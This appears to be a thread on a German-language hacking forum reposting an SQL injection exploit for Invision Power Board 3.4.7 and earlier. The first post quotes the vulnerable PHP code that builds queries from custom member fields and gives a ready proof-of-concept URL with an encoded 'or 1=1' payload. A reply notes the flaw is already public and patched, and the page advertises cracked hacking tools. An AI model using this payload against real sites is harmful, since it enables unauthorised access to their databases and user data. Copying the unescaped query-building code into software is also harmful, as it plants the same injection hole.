Jump to content

Willkommen Gast

Navigation

Links

Als Gast hast du nur eingeschränkten Zugriff!


Sign In 

Create Account

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Photo

IPB 3.4.7 SQLi

- - - - -

  • Please log in to reply
1 reply to this topic

#1
Cranky

Cranky

    Hacker

  • Banned
  • PipPipPipPipPipPipPipPip
  • Likes
    68
  • 197 posts
  • 18 Bedankt
  • 655869548
  • Android
  • Linux

# Exploit Title: Invision Power Board <= 3.4.7 SQL Injection
# Date: 29.05.2015
# Exploit Author: ZeroDay
# Software Link:

Please Login HERE or Register HERE to see this link!


# Version: <= 3.4.7
# Tested on: 3.4.7
# About: For the G-Owl with Love
vuln code
admin/applications/members/modules_public/list/view.php
//-----------------------------------------
// Custom fields?
//-----------------------------------------
if ( count( $this->custom_fields->out_fields ) )
{
foreach( $this->custom_fields->out_fields as $id => $data )
{
if ( !empty($this->request[ 'field_' . $id ]) )
{
$_queryPP = true;

if( is_array($this->request[ 'field_' . $id ]) )
{
foreach( $this->request[ 'field_' . $id ] as $k => $v )
{
$this->request[ 'field_' . $id ][ $k ] = urldecode($v);
$url['field_' . $id] = "field_{$id}[{$k}]=" . $v;
}
}
else
{
$url['field_' . $id] = "field_{$id}=" . $this->request[ 'field_' . $id ];
$this->request[ 'field_' . $id ] = urldecode($this->request[ 'field_' . $id ]);
}

if( $this->custom_fields->cache_data[ $id ]['pf_type'] == 'drop' )
{
$query[] = "p.field_{$id}='" . $this->request[ 'field_' . $id ] . "'";
}
else if( $this->custom_fields->cache_data[ $id ]['pf_type'] == 'cbox' )
{
if ( count( $this->request[ 'field_' . $id ] ) )
{
if ( $this->custom_fields->cache_data[ $id ]['pf_search_type'] == 'loose' )
{
$cboxFields = array();
foreach ( $this->request[ 'field_' . $id ] as $k => $v )
{
$cboxFields[] = "p.field_{$id} LIKE '%|{$k}|%'";
}

$query[] = "( " . implode( ' OR ', $cboxFields ) . " )";
}
else
{
foreach ( $this->request[ 'field_' . $id ] as $k => $v )
{
$query[] = "p.field_{$id} LIKE '%|{$k}|%'";
}
}
}
}
else
{
$query[] = $this->custom_fields->cache_data[ $id ]['pf_search_type'] == 'loose' ? "p.field_{$id} LIKE '%" . $this->request[ 'field_' . $id ] . "%'" : "p.field_{$id} = '" . $this->request[ 'field_' . $id ] . "'";
}
}
}
}
......
POC
index.php?/members/?field_1=admin%2525%2527%2Bor%2B1%253D1--%2B1


  • Bypass likes this

Ich "hacke" keine whatsapp oder facebook accounts aber schreibt mich ruhig an was das betrifft dann hab ich was zu lachen. :D

 

 


#2
FalkE

FalkE

    1337

  • Banned
  • PipPipPipPipPipPipPipPipPip
  • Likes
    4
  • 349 posts
  • 79 Bedankt
  • Android [root]
  • Linux

findet man doch auch auf:

Please Login HERE or Register HERE to see this link!

 

und ist nun auch schon fast 3 wochen her (desweiteren gibts schon lange einen patch seitens ipb).

sehe hier wieder kein grund das "exklusiv" zu posten.



Thanked by 1 Member:
InternetFreak



This topic has been visited by 49 user(s)


    <cerrno>, Alsuna, and6578, B1nary, BlackZetsu, Bojka, Bot4ng, Bypass, Caruso, Ch!ller, chick0n, clusterhead, Cranky, CyberFlash, cyberwhore, easysurfer, Erikson, FalkE, ferithan, Framerater, Freshness28, G4miT, Goooofy, H2Olli, Heinokel0903, Imperial, InternetFreak, isi, johny758, kalixa, kingkev0, kiwitone, loziov1, Lyrix, mantwohouse, most_uniQue, MrVinc, omeralex, openmind, Osed28, pekelhc, pisse32, pornoralle, R3s1stanc3, romiro, smc2014, Smokyjoe, syntx, ueEqlL
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.